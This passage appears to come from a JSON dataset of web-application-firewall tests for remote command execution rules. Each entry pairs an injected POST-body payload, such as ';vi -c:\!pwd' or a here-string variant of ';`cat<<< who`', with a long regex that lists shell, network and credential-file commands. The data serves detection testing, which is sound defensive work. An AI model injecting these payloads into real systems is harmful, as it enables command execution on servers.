\|]|$|diff)|(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|a(?:ll|tch))(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:o(?:[\\s\\x0b&\\),<>\\|]|$|ami|is(?:[\\s\\x0b&\\),<>\\|]|$))?|iptail(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))(?:\\b|[^0-9A-Z_a-z])", "negated": false } }, "transformations": [ "none", "cmdLine", "normalizePath" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932237", "test_description": "False positive with Android user-agent.\nShould not match `pg`.\n" } }, { "input": { "malicious_payload": [ { "location": "header_user-agent", "value": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_10_1 rv:5.0; ps-AF) AppleWebKit/534.28.2 (KHTML, like Gecko) Version/4.0 Safari/534.28.2" } ], "attack_context": { "method": "POST", "location": [ "header_user-agent" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:(?:GE|POS)T|y(?:e(?:s|lp)|um|arn)|HEAD)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get|itude(?:[\\s\\x0b&\\),<>\\|]|$))|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:[\\s\\x0b&\\),<>\\|]|$|h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|t(?:[\\s\\x0b&\\),<>\\|]|$|obm(?:[\\s\\x0b&\\),<>\\|]|$))|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|io(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:t(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab)))|d(?:(?:[dfu]|i(?:(?:alo)?g|r|ff)|a(?:sh|te)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|nf(?:[\\s\\x0b&\\),<>\\|]|$)?|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:[bd]|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:d|rb|conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:(?:re|unt)(?:[\\s\\x0b&\\),<>\\|]|$)|squitto)|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:(?:ul)?l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?: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0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|r(?:een|ipt))|g|ash|diff|ftp|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|h(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass))|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:(?:(?:ca|r)t|urce)(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|me(?:[\\s\\x0b&\\),<>\\|]|$|datectl|out(?:[\\s\\x0b&\\),<>\\|]|$)))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:[\\s\\x0b&\\),<>\\|]|$|m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|a(?:ll|tch))(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:o(?:[\\s\\x0b&\\),<>\\|]|$|ami|is(?:[\\s\\x0b&\\),<>\\|]|$))?|iptail(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))(?:\\b|[^0-9A-Z_a-z])", "negated": false } }, "transformations": [ "none", "cmdLine", "normalizePath" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932237", "test_description": "False positive with Pashto Afghanistan User-Agent\nShould not match `ps` in `ps-af`.\n" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;vi dddd +silent\\\\ \\!whoami +wq\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[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?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?a[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?n|s)|v[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?i)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*|d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?n[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?f|w[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:h[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o|(?:[\\s\\x0b&\\),<>\\|]|$).*))", "negated": false } }, "transformations": [ "none", "cmdLine", "normalizePath" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932238", "test_description": "9323HNQU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;vi -c:\\!pwd\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?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x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?a[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?n|s)|v[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?i)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*|d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?n[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?f|w[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:h[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o|(?:[\\s\\x0b&\\),<>\\|]|$).*))", "negated": false } }, "transformations": [ "none", "cmdLine", "normalizePath" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932238", "test_description": "9323HNQU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;`cat<<\\|]|$).*|[ls][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?t[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[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c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?i)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*|d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?n[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?f|w[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:h[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o|(?:[\\s\\x0b&\\),<>\\|]|$).*))", "negated": false } }, "transformations": [ "none", "cmdLine", "normalizePath" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932238", "test_description": "Block evasion using here string" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;`cat<<< who`\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?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&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?i)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*|d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?n[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?f|w[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:h[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o|(?:[\\s\\x0b&\\),<>\\|]|$).*))", "negated": false } }, "transformations": [ "none", "cmdLine", "normalizePath" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932238", "test_description": "Block evasion using here string with space" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;`cat<<<'who'`\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": 